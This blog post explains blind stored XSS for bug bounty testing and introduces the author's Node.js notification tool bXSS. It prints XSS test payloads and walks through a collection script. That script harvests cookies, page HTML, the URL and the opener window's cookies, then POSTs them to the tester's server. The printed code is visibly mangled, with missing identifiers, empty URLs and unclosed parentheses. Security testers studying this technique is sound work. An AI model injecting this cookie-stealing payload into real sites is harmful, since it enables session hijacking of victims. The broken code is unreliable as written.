TL;DR – I re-invented the wheel with bXSS.

This idea started when I attended Mario Heiderich’s Exploiting Websites training at AppSec Europe, which is an absolutely fantastic training, you should check it out. Mario mentioned that his company cure53 have a simple payload that they use for Blind Cross-Site-Scripting (XSS) which I figured would be very useful to utilize for things like bug bounties.

Blind XSS

So, what is Blind XSS Anyways?

Blind XSS is what we call persisted/stored XSS which saves in some storage, such as a database and is executed when a ‘victim’ visits that page and the payload is rendered in the Document Object Model (DOM). The reason why it’s classed as blind is because it normally happens on functionality not normally exposed to a user, such as:

  • Log viewers
  • Customer service portals
  • Application functionality which requires a higher level of privilege

If you think about it in general terms, when testing for Reflected or Stored XSS, the general payload would be something along the lines of:

<img src=x onerror="alert(1)"/>
<svg onload="javascript:confirm(1)"></svg>

Testers try different payloads, getting some creative inspiration from html5sec and try different ways to inject payloads, manipulating payloads through tools such as Hackvector or Burp Decoder to see if an application will render it within the DOM.

With Blind XSS you need a way to get your payloads to inform you that it’s happened as it happens on a different server or page you can’t see. The easiest way is to load your JavaScript as a third-party resource such as:

"><script src=""></script>

Now inject external resources, sit back, relax and wait to get a response.

You might be thinking, is this really necessary? If you take a look at sites such as hackerone or bugcrowd, you will start to see a common theme of these issues cropping up, and when the pay-outs are from anywhere a few hundred dollars to $3000+ it makes sense to want create an automated way for testing Blind XSS.

The Payload

Using cure53’s example of a payload, you would inject the following payload where user-input can be inserted:

"><script src=""></script>

Now to understand the script:

(function () {
if ( !== '__') {

try { dcoo = document.cookie } catch (e) { dcoo = null }
try { inne = document.body.parentNode.innerHTML } catch (e) { inne = null }
try { durl = document.URL } catch (e) { durl = null }
try { oloc = opener.location } catch (e) { oloc = null }
try { oloh = opener.document.body.innerHTML } catch (e) { oloh = null }
try { odoc = opener.document.cookie } catch (e) { odoc = null }

var _ = document.createElementNS('', 'form');
var __ = document.createElementNS('', 'input');
var body = document.getElementsByTagName('body')[0];

__.setAttribute('value', escape(
dcoo + '\r\n\r\n' + inne + '\r\n\r\n' + durl + '\r\n\r\n' +
oloc + '\r\n\r\n' + oloh + '\r\n\r\n' + odoc
__.setAttribute('name', '_');
_.action = '';
_.method = 'post';

body.appendChild(_); = '__';
} else { = '' }

  1. The data is wrapped in an Immediately-invoked function expression (IFFE) so it’s going to execute on page load
  2. It captures attributes of the document if they exist
    • cookies
    • innerHTML
    • URL
    • location
  3. Creates two elements through createElementNS
    • _ as a form
    • __ as an input field
  4. The body of the current window is captured as there’s generally one body in a HTML page, it’s getting the first instance [0]
  5. The document attributes are escaped and are set as the value of the input field
  6. The input field is appended to the form
  7. The form is assigned with an action to send the form to as a POST request
  8. The form is attached to the current body of the DOM
  9. The form is submitted to with the POST body of _ containing all of the attributes mentioned in step 2 if they exist

This script is pretty robust and will capture all attributes you really need to identify the target, if the HTTPOnly flag is not set you could potentially login to the application as the user which happened to visit the page where the payload was sitting in wait.

Building Time

Next was to create an application to process the data.

By all means, this isn’t new, there’s lots of fantastic implementations that already exist; such as Burp Collaborator, XSS Hunter, Sleepy Puppy, and various other examples.

What I saw in most of these examples is that they didn’t have SMS notifications set-up, so I created bXSS which does exactly that.

bXSS is a Node.js application which will:

The application has three core functions

  • POST - /m (captures DOM information)
  • GET - /m (Loads the payload)
  • Everything else - Loads alert(1)

This is perfect for my needs, and maybe yours too; I would recommend looking at Burp Collaborator, Sleepy Puppy, or XSS Hunter to see if they are appropriate as they are extremly easy to get started with. Every security tester has a copy of Burp Suite which has built-in Blind XSS detection, and XSS Hunter’s online version is simple to use.

If you like the project, feel free to contribute or if you want to suggest improvements fire them over at GitHub.

And finally a big (H/T) to Henrik Lissner for his coding wisdom.